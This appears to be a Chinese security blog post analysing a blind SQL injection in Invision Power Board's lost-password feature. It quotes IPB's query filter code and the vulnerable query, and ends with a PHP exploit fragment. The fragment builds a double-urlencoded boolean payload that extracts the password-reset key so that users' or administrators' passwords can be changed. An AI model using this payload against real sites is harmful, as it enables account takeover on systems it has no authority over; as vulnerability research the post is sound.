5up3rh3i'blog
漏洞公告詳見：http://www.pcsec.org/archives/Invision-Power-Board-Blind-SQL-Injection-Vulnerability.html 很明顯又是urldecode()導(dǎo)致的２次編碼的問題．我懷疑發(fā)現(xiàn)者是直接grep urldecode來找到的．．．
比較奇怪的是，這次雜沒見老外給出exp呢？另外一直都很熱心的．．．于是有朋友讓我exp一下，然后我又找別人．．．經(jīng)過幾天"你推我，我推他"的過程．．．終于又flyhat牛百忙之中，丟我一個'exp'，然后我一跑，跑不出來．后來一問，才曉得flyhat牛忙完他的工作就到了凌晨１－２點了．于是寫了基本筐架還沒測試就丟我．只好自己看看修改一下了．．．
大概分析了下，原來漏洞的利用還不是那么簡單的，里面還有很多xx，看來老外不給exp也是有道理的：
//ips_kernel\classDbMysqliClient.php
//ips_kernel\classDbMysqlClient.php
if ( ! IPS_DB_ALLOW_SUB_SELECTS )
{
# On the spot allowance?
if ( ! $this->allow_sub_select )
{
$_tmp = strtolower( $this->_removeAllQuotes($the_query) );
if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
$this->throwFatalError( "You are not allowed to use comments in your SQL query.\nAdd \ipsRegistry::DB()->allow_sub_select=1; before any query construct to allow them" );
return false;
}
if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
$this->throwFatalError( "UNION query joins are not allowed.\nAdd \ipsRegistry::DB()->allow_sub_select=1; before any query construct to allow them" );
return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
if ( count( $matches ) > 1 )
{
$this->throwFatalError( "SUB SELECT query joins are not allowed.\nAdd \ipsRegistry::DB()->allow_sub_select=1; before any query construct to allow them" );
return false;
}
}
}
ipb的query()里還有個'ids',不讓使用/**/ 而且還判斷了union 和select 根據(jù)ipb的那些錯誤提示,他們的意圖很明顯,不讓'sub select', 而默認(rèn)就設(shè)置了
ips_kernel\classDb.php
00053: define( 'IPS_DB_ALLOW_SUB_SELECTS', 0 );
第一個注射漏洞的sql語句比較復(fù)雜,又不讓/*注釋掉,所以基本上很難exp.第二個漏洞導(dǎo)致sql注射的語句比較簡單:
/* Get validating info.. */
$validate = $this->DB->buildAndFetch( array( 'select' => '*', 'from' => 'validating', 'where' => "member_id={$in_user_id} and vid='{$in_validate_key}' and lost_pass=1" ) );
字符型的,我們用and '1'='1就可以閉和了.這個點本身就是一個blind inj的點所以基本也不上union,現(xiàn)在的難點就是 preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches )這個了不讓select出現(xiàn),就沒有辦法子查詢其他數(shù)據(jù)庫的東西,這里沒時間去研究有什么辦法可以突破select去跨表/庫查詢?[如果你有什么突破的記得告訴我一聲]...
還有沒有其他方法去實現(xiàn)有用的攻擊呢?方法還是有點,這個查詢本身就發(fā)生在validating表里,這個表里的vid本身就是找會密碼功能產(chǎn)生的那個'key',只要我們得到這個key,就可以去修改其他用戶[包括管理員]的密碼了....
原以為這樣exp很完美,但是繼續(xù)分析發(fā)現(xiàn)問題又來了.默認(rèn)設(shè)置再一次挽救了ipb,ipb取回密碼有2個模式,一個隨機(jī)修改后發(fā)送到用戶的email[這個也是默認(rèn)的方式],另外一個就是用戶自定義密碼提交直接修改[詳細(xì)代碼在lostpass.php的public function lostPasswordValidate()里].如果ipb使用了第二中取回密碼的方式,那么我們就可以修改別人的密碼達(dá)到攻擊的目的了.....
exp的關(guān)鍵片段:
$sql="55512c93eda811273175c3e4262dec87' or If(ASCII(SUBSTRING((vid),".$j.",1))=".$i.",1=1,1=2) and '1'='1";
$packet ="GET ".$path."index.php?app=core&module=global§ion=lostpass&do=sendform&uid=1&aid=".urlencode(urlencode($sql))." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
小結(jié):
默認(rèn)安全很重要!!!!
最后感謝flyhat牛的幫忙~~